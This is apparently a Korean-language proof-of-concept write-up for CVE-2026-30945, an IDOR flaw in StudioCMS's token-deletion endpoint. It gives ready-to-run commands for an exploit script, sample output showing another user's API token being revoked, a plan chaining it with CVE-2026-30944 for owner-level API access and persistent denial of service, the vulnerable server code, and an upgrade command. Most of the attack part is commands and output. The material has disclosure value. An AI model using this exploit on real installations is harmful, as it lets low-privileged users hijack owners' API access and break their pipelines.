┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   공격자      │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   서버        │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  소유자의     │
                                              │  CI/CD       │
                                              │  파이프라인   │──► ❌ 401 Unauthorized
                                              │  통합        │──► ❌ API 접근 상실
                                              │  모니터링     │──► ❌ 무음 실패
                                              └──────────────┘

pip install requests colorama

# 소유자에게 속한 특정 토큰 폐기
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# CVE-2026-30944와 연쇄: 먼저 대상의 토큰 생성
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 결과를 JSON으로 저장
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

# 여러 역할로 테스트
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] 'editor01'로 인증됨
  [*] 세션 사용자: editor01 (editor)
  [*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 토큰 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 대상의 API 토큰 폐기 중...
  [+] 토큰 폐기됨! 서버 응답: Token deleted
  [!] 취약점 확인됨 — 토큰이 성공적으로 폐기되었습니다!
  [!] 대상 사용자의 API 통합이 이제 중단되었습니다 (DoS)

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 토큰 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 대상의 API 토큰 폐기 중...
  [*] 접근 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
  [-] 폐기 실패: 접근 거부됨 (403 Forbidden)

Step 1: 소유자의 정당한 토큰 폐기    (CVE-2026-30945)
   └──► 소유자의 CI/CD 파이프라인이 무음으로 중단됨

Step 2: 소유자를 위한 새 토큰 생성       (CVE-2026-30944)
   └──► 공격자가 이제 소유자 수준의 API 접근 권한을 보유

Step 3: 소유자가 수정을 위해 새 토큰 생성
   └──► 공격자가 다시 폐기 (지속적 DoS)

// [1] 호출자가 editor인지만 확인 — 누구의 토큰을 삭제하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 두 값 모두 요청 본문에서 가져옴 — 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // 소유권 확인 없음
    userID: string;     // 신원 확인 없음
}>(ctx);

// [3] 파괴적 작업에 직접 전달 — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

npm install studiocms@latest